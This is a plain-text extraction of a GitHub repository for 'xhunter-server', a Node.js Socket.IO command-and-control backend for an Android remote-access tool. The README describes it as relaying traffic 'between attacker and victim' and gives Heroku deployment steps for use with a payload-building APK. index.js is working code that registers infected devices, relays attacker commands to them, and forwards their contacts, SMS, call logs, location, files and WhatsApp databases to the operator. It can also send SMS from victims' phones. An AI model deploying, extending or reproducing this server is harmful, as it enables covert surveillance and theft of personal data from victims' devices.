Full Code of anirudhmalik/xhunter-server for AI

main 27eb6a532e90 cached
5 files
4.5 KB
1.3k tokens
1 requests
Download .txt
Repository: anirudhmalik/xhunter-server
Branch: main
Commit: 27eb6a532e90
Files: 5
Total size: 4.5 KB

Directory structure:
gitextract_2437cb0e/

├── .gitignore
├── README.md
├── app.json
├── index.js
└── package.json

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
# node.js
#
node_modules/
npm-debug.log
yarn-error.log

================================================
FILE: README.md
================================================
# xhunter-server

xhunter-server is used to communicate between attacker and victim. It is very easy to host on [heroku](https://www.heroku.com/). follow the below steps:

#### Setup
- Signup and create a heroku account [here](https://signup.heroku.com)
- After login, click the below **Deploy** button.

   [![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/anirudhmalik/xhunter-server)
 
 - Give your app a name `<your_app_name>` and click `Deploy app` button.
 - Wait for the process to complete. 
 - Once complete, Click `view app` and If you see `Welcome to Xhunter Backend Server!!` then you have successfully created your server.
 - Now use this url `https://<your_app_name>.herokuapp.com` in [xhunter_v1.6.apk](https://github.com/anirudhmalik/xhunter/releases/tag/v1.6). during building payload and listening connection.


================================================
FILE: app.json
================================================
{
    "name": "xhunter-server",
    "description": "backbone for xhunter app",
    "repository": "https://github.com/anirudhmalik/xhunter/tree/master/xhunter-server"
}

================================================
FILE: index.js
================================================
const express = require('express');
const app = express()
const server = require('http').createServer(app)
const { Server } = require('socket.io')
const io = new Server(server, {
  maxHttpBufferSize: 1e8, // 1mb
});

var victimList={};
var deviceList={};
var victimData={};
var adminSocketId=null;
const port = 8080;

server.listen(process.env.PORT || port, (err) => {  if (err) return;log("Server Started : " + port);});
app.get('/', (req, res) => res.send('Welcome to Xhunter Backend Server!!'))

io.on('connection', (socket) => {
    socket.on('adminJoin', ()=>{
        adminSocketId=socket.id;
        if(Object.keys(victimData).length>0){
            Object.keys(victimData).map((key)=>socket.emit("join", victimData[key]));
        }
    })
    socket.on('request', request);//from attacker
    socket.on('join',(device)=>{
        log("Victim joined => socketId "+JSON.stringify(socket.id));
        victimList[device.id] =  socket.id;
        victimData[device.id]= {...device,socketId: socket.id};
        deviceList[socket.id] =  {
          "id":  device.id,
          "model":  device.model
        }
        socket.broadcast.emit("join", {...device,socketId: socket.id});
      });

      socket.on('getDir',(data)=>response("getDir",data));
      socket.on('getInstalledApps',(data)=>response("getInstalledApps",data));
      socket.on('getContacts',(data)=>response("getContacts",data));
      socket.on('sendSMS',(data)=>response("sendSMS",data));
      socket.on('getCallLog',(data)=>response("getCallLog",data));
      socket.on("previewImage", (data) =>response("previewImage",data));
      socket.on("error", (data) =>response("error",data));
      socket.on("getSMS", (data) =>response("getSMS",data));
      socket.on('getLocation',(data)=>response("getLocation",data));
     
      socket.on('disconnect', () => {
        if(socket.id===adminSocketId){
            adminSocketId=null
        }else{
            response("disconnectClient",socket.id)
            Object.keys(victimList).map((key)=>{
                if(victimList[key] === socket.id){
                  delete victimList[key]
                  delete victimData[key]
                }
              })
        }
    });
    
    socket.on("download", (d, callback) =>responseBinary("download", d, callback));
    socket.on("downloadWhatsappDatabase", (d, callback) => {
        socket.broadcast.emit("downloadWhatsappDatabase", d, callback);
       });


});

const request =(d)=>{// request from attacker to victim
    let { to, action, data } = JSON.parse(d);
    log("Requesting action: "+ action);
    io.to(victimList[to]).emit(action, data);
  }

const response =(action, data)=>{// response from victim to attacker
    if(adminSocketId){
        log("response action: "+ action);
        io.to(adminSocketId).emit(action, data);
    }
  }
  const responseBinary =(action, data, callback)=>{// response from victim to attacker
    if(adminSocketId){
        log("response action: "+ action);
        callback("success")
        io.to(adminSocketId).emit(action, data);
    }
  }
// LOGGER
const log = (log) =>{
    console.log(log)
  }


================================================
FILE: package.json
================================================
{
  "name": "xhunter-server",
  "version": "1.0.0",
  "description": "backbone for xhunter app",
  "main": "index.js",
  "scripts": {
    "start": "nodemon index.js"
  },
  "keywords": [
    "xhunter-server"
  ],
  "author": "anirudhmalik",
  "license": "MIT",
  "dependencies": {
    "express": "^4.18.1",
    "nodemon": "^2.0.19",
    "socket.io": "^4.5.1"
  },
  "engines": {
    "node": "16.x"
  }
}
Download .txt
gitextract_2437cb0e/

├── .gitignore
├── README.md
├── app.json
├── index.js
└── package.json
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (5K chars).
[
  {
    "path": ".gitignore",
    "chars": 54,
    "preview": "# node.js\n#\nnode_modules/\nnpm-debug.log\nyarn-error.log"
  },
  {
    "path": "README.md",
    "chars": 889,
    "preview": "# xhunter-server\n\nxhunter-server is used to communicate between attacker and victim. It is very easy to host on [heroku]"
  },
  {
    "path": "app.json",
    "chars": 167,
    "preview": "{\n    \"name\": \"xhunter-server\",\n    \"description\": \"backbone for xhunter app\",\n    \"repository\": \"https://github.com/ani"
  },
  {
    "path": "index.js",
    "chars": 3131,
    "preview": "const express = require('express');\nconst app = express()\nconst server = require('http').createServer(app)\nconst { Serve"
  },
  {
    "path": "package.json",
    "chars": 404,
    "preview": "{\n  \"name\": \"xhunter-server\",\n  \"version\": \"1.0.0\",\n  \"description\": \"backbone for xhunter app\",\n  \"main\": \"index.js\",\n "
  }
]

About this extraction

This page contains the full source code of the anirudhmalik/xhunter-server GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (4.5 KB), approximately 1.3k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!